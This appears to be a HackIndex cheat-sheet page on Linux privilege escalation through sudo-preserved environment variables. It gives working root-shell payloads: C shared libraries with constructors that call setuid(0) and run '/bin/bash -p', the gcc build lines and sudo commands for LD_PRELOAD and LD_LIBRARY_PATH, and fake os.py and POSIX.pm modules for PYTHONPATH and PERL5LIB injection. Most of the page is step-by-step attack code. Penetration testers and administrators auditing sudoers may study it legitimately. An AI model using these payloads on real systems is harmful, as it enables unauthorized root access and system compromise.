Skip to content
HackIndex logo

HackIndex

LD_PRELOAD and Environment Variable Hijacking

4 min read Jul 14, 2026

LD_PRELOAD and Environment Variable Hijacking

LD_PRELOAD instructs the dynamic linker to load a shared library before all others. Any function in that library overrides the system version. When sudo is configured to preserve LD_PRELOAD in the environment — via env_keep or SETENV — you can inject a malicious shared library that executes as root when any allowed sudo command runs.

Prerequisites Check

Check if sudo preserves environment variables:

┌──(kali㉿kali)-[~]
└─$ sudo -l

Look for any of these patterns in the output:

┌──(kali㉿kali)-[~]
└─$ env_keep += "LD_PRELOAD"
┌──(kali㉿kali)-[~]
└─$ env_keep += "LD_LIBRARY_PATH"
┌──(kali㉿kali)-[~]
└─$ env_keep += "PYTHONPATH"
┌──(kali㉿kali)-[~]
└─$ env_keep += "PERL5LIB"
┌──(kali㉿kali)-[~]
└─$ SETENV

If env_reset is present without env_keep overrides, LD_PRELOAD is stripped by sudo and this technique does not apply. Move to https://hackindex.io/platforms/linux/privilege-escalation/sudo-misconfiguration for other sudo exploitation paths.

Also check the global sudoers defaults:

┌──(kali㉿kali)-[~]
└─$ grep -E "env_keep|env_reset|SETENV|LD_PRELOAD" /etc/sudoers /etc/sudoers.d/* 2>/dev/null

LD_PRELOAD via sudo env_keep

When LD_PRELOAD is in env_keep, it survives the sudo environment reset. Any shared library you specify gets loaded before all others when the sudo command runs — as root.

Step 1 — Write the malicious shared library:

/tmp/preload.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void __attribute__((constructor)) init() {
    unsetenv("LD_PRELOAD");
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
}

The __attribute__((constructor)) function runs automatically when the library is loaded — before main() in the target program. unsetenv("LD_PRELOAD") prevents infinite recursion if the spawned shell also inherits it. -p preserves the effective UID.

Step 2 — Compile as a shared library:

┌──(kali㉿kali)-[~]
└─$ gcc -shared -fPIC -nostartfiles -o /tmp/preload.so /tmp/preload.c

-shared produces a shared library. -fPIC generates position-independent code required for shared libraries. -nostartfiles avoids linking standard startup files.

Step 3 — Execute any allowed sudo command with LD_PRELOAD set:

┌──(kali㉿kali)-[~]
└─$ sudo LD_PRELOAD=/tmp/preload.so /usr/bin/find

Replace /usr/bin/find with any command shown in sudo -l. The library loads before find runs, the constructor fires as root, and you get a bash shell.

LD_LIBRARY_PATH via sudo env_keep

LD_LIBRARY_PATH prepends directories to the library search path. If preserved by sudo, you can plant a fake version of any shared library the sudo command loads, overriding the system version.

Step 1 — Find what libraries the allowed sudo binary loads:

┌──(kali㉿kali)-[~]
└─$ # Identify which command sudo allows
┌──(kali㉿kali)-[~]
└─$ sudo -l
 
┌──(kali㉿kali)-[~]
└─$ # Check its library dependencies
┌──(kali㉿kali)-[~]
└─$ ldd /usr/sbin/apache2
┌──(kali㉿kali)-[~]
└─$ # e.g. libcrypt.so.1 => /lib/x86_64-linux-gnu/libcrypt.so.1

Step 2 — Create a malicious version of one of those libraries:

/tmp/libcrypt.c

#include <stdlib.h>
#include <unistd.h>

void __attribute__((constructor)) init() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
}
┌──(kali㉿kali)-[~]
└─$ gcc -shared -fPIC -nostartfiles -o /tmp/libcrypt.so.1 /tmp/libcrypt.c

Step 3 — Run the sudo command with your library directory first:

┌──(kali㉿kali)-[~]
└─$ sudo LD_LIBRARY_PATH=/tmp /usr/sbin/apache2

The linker searches /tmp first, finds your fake libcrypt.so.1, loads it, and the constructor fires as root.

Verifying the Library Loads

If the shell does not spawn, confirm the library is being loaded correctly:

┌──(kali㉿kali)-[~]
└─$ # Check for errors
┌──(kali㉿kali)-[~]
└─$ sudo LD_PRELOAD=/tmp/preload.so /usr/bin/find 2>&1
 
┌──(kali㉿kali)-[~]
└─$ # Verify compile output
┌──(kali㉿kali)-[~]
└─$ file /tmp/preload.so
┌──(kali㉿kali)-[~]
└─$ # Should show: ELF 64-bit LSB shared object

If you see cannot open shared object file, the path is wrong. If you see invalid ELF header, compilation failed — check gcc output.

PYTHONPATH Injection

If PYTHONPATH is in env_keep and sudo allows a Python script, you can inject a malicious Python module that runs as root:

┌──(kali㉿kali)-[~]
└─$ # Confirm PYTHONPATH in env_keep
┌──(kali㉿kali)-[~]
└─$ sudo -l | grep PYTHONPATH
 
┌──(kali㉿kali)-[~]
└─$ # Create a malicious module matching an import in the script
┌──(kali㉿kali)-[~]
└─$ # e.g. if the script does 'import os', create a fake os.py
┌──(kali㉿kali)-[~]
└─$ cat > /tmp/os.py << 'EOF'
import subprocess
subprocess.run(["/bin/bash", "-p"])
EOF
 
┌──(kali㉿kali)-[~]
└─$ # Run with your PYTHONPATH prepended
┌──(kali㉿kali)-[~]
└─$ sudo PYTHONPATH=/tmp /path/to/script.py

See https://hackindex.io/platforms/linux/privilege-escalation/python-library-hijacking for the full Python library hijacking technique.

PERL5LIB Injection

Same approach for Perl scripts:

┌──(kali㉿kali)-[~]
└─$ sudo -l | grep PERL5LIB
 
┌──(kali㉿kali)-[~]
└─$ # Create a malicious module
┌──(kali㉿kali)-[~]
└─$ mkdir -p /tmp/POSIX
┌──(kali㉿kali)-[~]
└─$ cat > /tmp/POSIX.pm << 'EOF'
package POSIX;
use strict;
system("/bin/bash -p");
1;
EOF
 
┌──(kali㉿kali)-[~]
└─$ sudo PERL5LIB=/tmp /path/to/script.pl

When env_reset Blocks This

If sudo runs with env_reset (the default) and LD_PRELOAD is not in env_keep, the variable is stripped before the command runs. You cannot inject via environment in this configuration.

Check whether the system sudoers disables env_reset:

┌──(kali㉿kali)-[~]
└─$ grep "env_reset\|!env_reset" /etc/sudoers /etc/sudoers.d/* 2>/dev/null

!env_reset disables the reset entirely, making every environment variable available. This is rare but extremely impactful when present.

References